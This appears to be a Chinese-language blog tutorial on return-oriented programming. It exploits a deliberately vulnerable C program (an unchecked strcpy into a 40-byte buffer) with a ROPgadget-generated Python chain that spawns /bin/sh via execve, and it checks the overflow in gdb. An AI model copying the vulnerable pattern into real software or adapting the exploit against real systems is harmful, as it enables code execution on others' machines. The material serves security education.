盒子
盒子
文章目录
  1. I、C程序
  2. II、使用ROPgadget构建gadget链
  3. III、使用gdb分析内存
    1. ① 添加断点,设置参数
    2. ② 查看寄存器
    3. ③ 查看内存情况
  4. IV、运行结果
  5. V、参考文献

使用ROPgadget构建gadgets链,实现ROP攻击

上篇博客简单介绍了ROPgadget,现在我们就来小试牛刀

I、C程序

1
2
3
4
5
6
7
8
9
10
11
12
#include <string.h>
#include <stdio.h>
void function(char *a){
char buff[40];
strcpy(buff,a);
}
int main(int argc, char** argv){
if(argc>=2)
function(argv[1]);
}

编译C程序

1
gcc hello.c -o hello -static -g -fno-stack-protector

II、使用ROPgadget构建gadget链

ROPgadget的安装上篇博客已经介绍了,这里不赘述。

1
ropgadget --binary hello --ropchain

创建输入文件exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += 'a'*52
p += pack('<I', 0x080570ca) # pop edx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x0808d211) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0808e28d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080570ca) # pop edx ; ret
p += pack('<I', 0x080ee064) # @ .data + 4
p += pack('<I', 0x0808d211) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0808e28d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080570ca) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080514e0) # xor eax, eax ; ret
p += pack('<I', 0x0808e28d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481ec) # pop ebx ; ret
p += pack('<I', 0x080ee060) # @ .data
p += pack('<I', 0x080997d3) # pop ecx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080570ca) # pop edx ; ret
p += pack('<I', 0x080ee068) # @ .data + 8
p += pack('<I', 0x080514e0) # xor eax, eax ; ret
p += pack('<I', 0x08099b66) # inc eax ; ret
p += pack('<I', 0x08099b66) # inc eax ; ret
p += pack('<I', 0x08099b66) # inc eax ; ret
p += pack('<I', 0x08099b66) # inc eax ; ret
p += pack('<I', 0x08099b66) # inc eax ; ret
p += pack('<I', 0x08099b66) # inc eax ; ret
p += pack('<I', 0x08099b66) # inc eax ; ret
p += pack('<I', 0x08099b66) # inc eax ; ret
p += pack('<I', 0x08099b66) # inc eax ; ret
p += pack('<I', 0x08099b66) # inc eax ; ret
p += pack('<I', 0x08099b66) # inc eax ; ret
p += pack('<I', 0x080493b9) # int 0x80
print p

注意:要在gadget之前添加 p += ‘a’*52
原因:使函数的返回地址指向第一个gadget

III、使用gdb分析内存

1
gdbtui hello

① 添加断点,设置参数

根据自己喜欢在程序某个地方设置断点,我一般设置在主函数处
运行时参数为 ./exploit.py 的运行结果

② 查看寄存器

当运行完strcpy()函数后,查看寄存器情况,主要留意esp ebp的值

③ 查看内存情况

ebp为0xbffff288,则返回地址在0xbffff28c处,可以发现此时返回地址是第一个gadget的起始地址处

p += ‘a’*52 是为了覆盖缓冲区,直到返回地址处

IV、运行结果

1
./hello "$(./exploit.py)"

V、参考文献

use ROPgadget to chain gadgets

支持一下
走过的,路过的,请支持一下我 n(*≧▽≦*)n